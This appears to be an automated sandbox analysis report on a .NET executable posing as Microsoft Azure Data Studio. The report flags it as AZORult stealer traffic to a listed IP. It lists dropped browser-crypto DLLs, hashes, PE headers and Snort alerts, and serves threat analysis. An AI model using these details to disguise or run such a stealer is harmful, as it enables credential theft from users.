File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73016
Entropy (8bit):	5.838702055399663
Encrypted:	false
SSDEEP:	1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj
MD5:	9910A1BFDC41C5B39F6AF37F0A22AACD
SHA1:	47FA76778556F34A5E7910C816C78835109E4050
SHA-256:	65DED8D2CE159B2F5569F55B2CAF0E2C90F3694BD88C89DE790A15A49D8386B9
SHA-512:	A9788D0F8B3F61235EF4740724B4A0D8C0D3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DE8E030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....^1...........!................................................................R.....@.............................................................8=..............T............................................................................text............................... ..`.rsrc...............................@..@v.....................^1........:...d...d.........^1........d.................^1....................RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata......`....rsrc$01....`........rsrc$02......................^1.....>..............8...h#...5...>...?..7?.._?...?...?...?...@..V@...@...@...@..+A..\A...A...A...A...B..LB...B...B...C..HC...C...C...C...C...D..HD...D...D...E..eE...E...E...F..1F..gF...F...F...G..BG..uG...G..

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-process-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.076072254895036
Encrypted:	false
SSDEEP:	192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU
MD5:	8D02DD4C29BD490E672D271700511371
SHA1:	F3035A756E2E963764912C6B432E74615AE07011
SHA-256:	C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B
SHA-512:	D44EF51D3AAF42681659FFFFF4DD1A1957EAF4B8AB7BB798704102555DA127B9D7228580DCED4E0FC98C5F4026B1BAB242808E72A76E09726B0AF839E384C3B0
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...l.h............!......................... ...............................0.......U....@.............................x............ ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................l.h.........:...d...d.......l.h.........d...............l.h.....................RSDSZ\.qM..I....3.....api-ms-win-crt-process-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......x....edata... ..`....rsrc$01....` .......rsrc$02....................l.h.............$...$...8.......X...................&...@...Y...q...........................*...E..._...z.......................!...<...V...q...........................9...V...t.......................7...R...i...

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-runtime-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22840
Entropy (8bit):	6.942029615075195
Encrypted:	false
SSDEEP:	384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7
MD5:	41A348F9BEDC8681FB30FA78E45EDB24
SHA1:	66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256:	C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EA60B
SHA-512:	8C2CB53CCF9719DE87EE65ED2E1947E266EC7E8343246DEF6429C6DF0DC514079F5171ACD1AA637276256C607F1063144494B992D4635B01E09DDEA6F5EEF204
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....L............!.........................0...............................@.......i....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v.....................L.........:...d...d.........L.........d.................L.....................RSDS6..>[d.=. ....C....api-ms-win-crt-runtime-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02......................L.....f.......k...k...8...............................4...S...s.......................E...g.......................)...N...n...................&...E...f...................'...D...j.......................>.......

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-stdio-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24368
Entropy (8bit):	6.873960147000383
Encrypted:	false
SSDEEP:	384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr
MD5:	FEFB98394CB9EF4368DA798DEAB00E21
SHA1:	316D86926B558C9F3F6133739C1A8477B9E60740
SHA-256:	B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FF0DF7
SHA-512:	57476FE9B546E4CAFB1EF4FD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6A8E911E8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................0...............................@.......)....@.............................a............0..............."..0=..............T............................................................................text...a........................... ..`.rsrc........0......................@..@v...............................8...d...d...................d.......................................RSDS...iS#.hg.....j....api-ms-win-crt-stdio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg.......a....edata...0..`....rsrc$01....`0.......rsrc$02................^...............(....... ...................<...y...........)...h........... ...]...............H...............)...D...^...v...............................T...u.......................9...Z...{...................0...Q...

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-string-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23488
Entropy (8bit):	6.840671293766487
Encrypted:	false
SSDEEP:	384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj
MD5:	404604CD100A1E60DFDAF6ECF5BA14C0
SHA1:	58469835AB4B916927B3CABF54AEE4F380FF6748
SHA-256:	73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C
SHA-512:	DA024CCB50D4A2A5355B7712BA896DF850CEE57AA4ADA33AAD0BAE6960BCD1E5E3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20BE4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......S...........!.........................0...............................@......B.....@..........................................0..............."...9..............T............................................................................text............................... ..`.rsrc........0......................@..@v......................S........9...d...d..........S........d..................S....................RSDSI.......$[~f..5....api-ms-win-crt-string-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................S....,...............8...........W...s.......................#...B...a...........................<...[...z.......................;...[...{................... ...A...b...........................<...X...r.......

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-time-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.018061005886957
Encrypted:	false
SSDEEP:	384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0
MD5:	849F2C3EBF1FCBA33D16153692D5810F
SHA1:	1F8EDA52D31512EBFDD546BE60990B95C8E28BFB
SHA-256:	69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D
SHA-512:	44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FE57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....OI...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v....................OI........7...d...d........OI........d................OI....................RSDS...s..,E.w.9I..D....api-ms-win-crt-time-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.........OI............H...H...(...H...h... ...=...\...z.......................8...V...s.......................&...D...a...~.......................?...b.......................!...F...k.......................0...N...k...................

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-utility-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.127951145819804
Encrypted:	false
SSDEEP:	192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q
MD5:	B52A0CA52C9C207874639B62B6082242
SHA1:	6FB845D6A82102FF74BD35F42A2844D8C450413B
SHA-256:	A1D1D6B0CB0A8421D7C0D1297C4C389C95514493CD0A386B49DC517AC1B9A2B0
SHA-512:	18834D89376D703BD461EDF7738EB723AD8D54CB92ACC9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....!5............!......................... ...............................0.......4....@.............................^............ ..................8=..............T............................................................................text...n........................... ..`.rsrc........ ......................@..@v....................!5.........:...d...d........!5.........d................!5.....................RSDS............k.....api-ms-win-crt-utility-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......^....edata... ..`....rsrc$01....` .......rsrc$02.....................!5.....d...............8.......(...................#...<...U...l...............................+...@...[...r...................................4...I..._.......................3...N...e...\|.......................

C:\Users\user\AppData\Local\Temp\2fda\freebl3.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	332752
Entropy (8bit):	6.8061257098244905
Encrypted:	false
SSDEEP:	6144:C+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XP+jW:Cu4Abg7XV72GI/qn6z
MD5:	343AA83574577727AABE537DCCFDEAFC
SHA1:	9CE3B9A182429C0DBA9821E2E72D3AB46F5D0A06
SHA-256:	393AE7F06FE6CD19EA6D57A93DD0ACD839EE39BA386CF1CA774C4C59A3BFEBD8
SHA-512:	827425D98BA491CD30929BEE6D658FCF537776CE96288180FE670FA6320C64177A7214FF4884AE3AA68E135070F28CA228AFB7F4012B724014BA7D106B5F0DCE
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L......Z.........."!.........f...............................................p......o.....@.............................P...`........@..p....................P..........T...........................8...@...............8............................text...U........................... ..`.rdata..............................@..@.data...lH..........................@....rsrc...p....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\mozglue.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	139216
Entropy (8bit):	6.841477908153926
Encrypted:	false
SSDEEP:	3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR
MD5:	9E682F1EB98A9D41468FC3E50F907635
SHA1:	85E0CECA36F657DDF6547AA0744F0855A27527EE
SHA-256:	830533BB569594EC2F7C07896B90225006B90A9AF108F49D6FB6BEBD02428B2D
SHA-512:	230230722D61AC1089FABF3F2DECFA04F9296498F8E2A2A49B1527797DCA67B5A11AB8656F04087ACADF873FA8976400D57C77C404EBA4AFF89D92B9986F32ED
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."yQ.f.?Mf.?Mf.?Mo`.Mv.?M.z>Lb.?M...Md.?M.z<Lh.?M.z;Lm.?M.z:Lu.?MDx>Lo.?Mf.>M..?M.{1Lu.?M.{?Lg.?M.{.Mg.?M.{=Lg.?MRichf.?M................PE..L......Z.........."!.........................................................@............@.............................\...L...,.... ..p....................0......p...T...............................@...................T...@....................text............................... ..`.rdata...b.......d..................@..@.data...............................@....rsrc...p.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\msvcp140.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\nss3.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1244112
Entropy (8bit):	6.809431682312062
Encrypted:	false
SSDEEP:	24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn
MD5:	556EA09421A0F74D31C4C0A89A70DC23
SHA1:	F739BA9B548EE64B13EB434A3130406D23F836E3
SHA-256:	F0E6210D4A0D48C7908D8D1C270449C91EB4523E312A61256833BFEAF699ABFB
SHA-512:	2481FC80DFFA8922569552C3C3EBAEF8D0341B80427447A14B291EC39EA62AB9C05A75E85EEF5EA7F857488CAB1463C18586F9B076E2958C5A314E459045EDE2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........x..c+..c+..c+...+..c++.b..c+lh.+..c++.`..c++.f..c++.g..c+.b..c+9.b..c+..b+..c+9.k..c+9.gC.c+9.c..c+9..+..c+9.a..c+Rich..c+................PE..L...a..Z.........."!................T........................................@............@.............................d....<..T.......h.......................t~..0...T...............................@............................................text............................... ..`.rdata...P.......R..................@..@.data....E...`... ...:..............@....rsrc...h............Z..............@..@.reloc..t~...........^..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\nssdbm3.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92624
Entropy (8bit):	6.639368309935547
Encrypted:	false
SSDEEP:	1536:5vNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41ZH:hNGVOiBZbcGmxXMcBqmzoCUZoZebHZMw
MD5:	569A7A65658A46F9412BDFA04F86E2B2
SHA1:	44CC0038E891AE73C43B61A71A46C97F98B1030D
SHA-256:	541A293C450E609810279F121A5E9DFA4E924D52E8B0C6C543512B5026EFE7EC
SHA-512:	C027B9D06C627026774195D3EAB72BD245EBBF5521CB769A4205E989B07CB4687993A47061FF6343E6EC1C059C3EC19664B52ED3A1100E6A78CFFB1C46472AFB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L......Z.........."!.........0...............0............................................@..........................?.......@.......`..p............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..4....0... ..................@..@.data........P.......>..............@....rsrc...p....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\softokn3.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144336
Entropy (8bit):	6.5527585854849395
Encrypted:	false
SSDEEP:	3072:zAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWqIBoE9Mv:Q6PpsF4CoT2EeY2eMv
MD5:	67827DB2380B5848166A411BAE9F0632
SHA1:	F68F1096C5A3F7B90824AA0F7B9DA372228363FF
SHA-256:	9A7F11C212D61856DFC494DE111911B7A6D9D5E9795B0B70BBBC998896F068AE
SHA-512:	910E15FD39B48CD13427526FDB702135A7164E1748A7EACCD6716BCB64B978FE333AC26FA8EBA73ED33BD32F2330D5C343FCD3F0FE2FFD7DF54DB89052DB7148
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L......Z.........."!.........`...............................................P......+Z....@..........................................0..p....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...C.......D..................@..@.data........ ......................@....rsrc...p....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\ucrtbase.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142072
Entropy (8bit):	6.809041027525523
Encrypted:	false
SSDEEP:	24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
MD5:	D6326267AE77655F312D2287903DB4D3
SHA1:	1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
SHA-256:	0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512:	11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2fda\vcruntime140.dll Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\45265317803559077994634.tmp Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.969137409083578
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	gunzipped.exe
File size:	710144
MD5:	289691163ea5795a930703689eb1b3b9
SHA1:	46dc959dc6848a44d6930d00ad2a9e60db08e47b
SHA256:	ba5786cfe255f158264fabd0b0cbf90b6f96ddd230a5fe82ca0c551d420f95be
SHA512:	c6b80acde7a18f17578c27fc993786bdca3623a56591362cbcda314ae23a05c245b853f44bf08d20a4400b195452a2af1007b3458352fe562131ebbd8654f7df
SSDEEP:	12288:T+0+YRB7yNudQQ9SGAjLCEbchunnLxueIr5jz8SFoVNPY/Fhrb:KYn7yNfQ9SGAnKhyLxuDdjojVmf
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Y.`..............0.................. ........@.. .......................@............@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x4ae9c2
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x608059DC [Wed Apr 21 16:59:08 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v2.0.50727
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xae970	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x648	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xac9c8	0xaca00	False	0.970292982893	data	7.97520833345	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x648	0x800	False	0.3544921875	data	3.59068627438	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb2000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0xb0090	0x3b6	data
RT_MANIFEST	0xb0458	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright (C) 2019 Microsoft. All rights reserved
Assembly Version	1.23.0.4
InternalName	AuzCODI.exe
FileVersion	1.23.0.4
CompanyName	Microsoft Corporation
LegalTrademarks
Comments
ProductName	Azure Data Studio
ProductVersion	1.23.0.4
FileDescription	Azure Data Studio
OriginalFilename	AuzCODI.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/23/21-11:07:48.159631	TCP	2029465	ET TROJAN Win32/AZORult V3.2 Client Checkin M15	49703	80	192.168.2.5	31.210.20.121
04/23/21-11:07:48.622103	TCP	2029140	ET TROJAN AZORult v3.2 Server Response M2	80	49703	31.210.20.121	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2021 11:07:48.109535933 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:48.158772945 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:48.158893108 CEST	49703	80	192.168.2.5	31.210.20.121
